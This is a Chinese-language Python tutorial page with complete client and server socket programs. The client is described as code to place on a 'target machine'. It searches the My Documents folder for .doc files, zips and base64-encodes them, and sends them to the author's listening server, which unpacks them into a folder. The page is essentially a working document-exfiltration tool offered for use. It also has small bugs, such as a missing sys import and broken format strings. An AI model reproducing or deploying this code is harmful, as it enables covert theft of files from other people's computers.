python实现获取客户机上指定文件并传输到服务器的方法

 更新时间:2015年03月16日 11:29:12   作者:上大王  
这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

复制代码 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                #获取加密数据
                encode_data = cs.recv(BUF_SIZE)
                #把数据写到out.zip文件
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2进制 解密 decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                #打开zip文件
                zfile = zipfile.ZipFile('out.zip','r')
                #创建一个文件夹来存放获取的zip文件
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                #后续处理 删除临时文件
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

客户端程序:

复制代码 代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:\Documents and Settings\Administrator\我的文档"
    extName = '.doc'
    #遍历搜索我的文档的doc类型
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print "文件处理错误: " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        #压缩成zip文件
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2进制 加密 encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        #后续处理 删除中间文件
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket 出错啦:' % e
        cs.close()
if __name__=='__main__':
    main()

希望本文所述对大家的Python程序设计有所帮助。

相关文章

  • Python数据库编程之pymysql详解

    Python数据库编程之pymysql详解

    本文主要介绍了Python数据库编程中pymysql,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-05-05
  • pyinstaller pathex参数引发打包no module name异常

    pyinstaller pathex参数引发打包no module name异常

    这篇文章主要为大家介绍了一个关于pyinstaller的 pathex 参数所引发的打包执行报no module name的异常错误解决,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2022-05-05
  • python 通过类中一个方法获取另一个方法变量的实例

    python 通过类中一个方法获取另一个方法变量的实例

    今天小编就为大家分享一篇python 通过类中一个方法获取另一个方法变量的实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2019-01-01
  • 详解python时间模块中的datetime模块

    详解python时间模块中的datetime模块

    这篇文章主要为大家介绍了python时间模块中的datetime模块,datetime模块的接口则更直观、更容易调用,想要了解datetime模块的朋友可以参考一下
    2016-01-01
  • Python外星人入侵游戏编程完整版

    Python外星人入侵游戏编程完整版

    这篇文章主要为大家详细介绍了Python外星人入侵游戏编程完整的实现思路,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2017-04-04
  • Django Admin后台模型列表页面如何添加自定义操作按钮

    Django Admin后台模型列表页面如何添加自定义操作按钮

    这篇文章主要介绍了Django Admin后台模型列表页面如何添加自定义操作按钮,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-11-11
  • python中路径的三种写法+路径前符号含义解读

    python中路径的三种写法+路径前符号含义解读

    这篇文章主要介绍了python中路径的三种写法+路径前符号含义解读,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2023-03-03
  • python中如何使用正则表达式的集合字符示例

    python中如何使用正则表达式的集合字符示例

    我们都知道,正则表达式可以很方便地对字符串进行匹配、查找、分割等操作,下面这篇文章主要给大家介绍了关于python中如何使用正则表达式的集合字符的相关资料,文中通过实例代码介绍的非常详细,需要的朋友可以参考下。
    2017-10-10
  • Python+OpenCV实现鼠标画瞄准星的方法详解

    Python+OpenCV实现鼠标画瞄准星的方法详解

    所谓瞄准星指的是一个圆圈加一个圆圈内的十字线,就像玩射击游戏狙击枪开镜的样子一样。本文将利用Python+OpenCV实现鼠标画瞄准星,感兴趣的可以尝试一下
    2022-08-08
  • 用Python写个新年贺卡生成器

    用Python写个新年贺卡生成器

    大家好,本篇文章主要讲的是用Python写个新年贺卡生成器,感兴趣的同学赶快来看一看吧,对你有帮助的话记得收藏一下
    2022-01-01

最新评论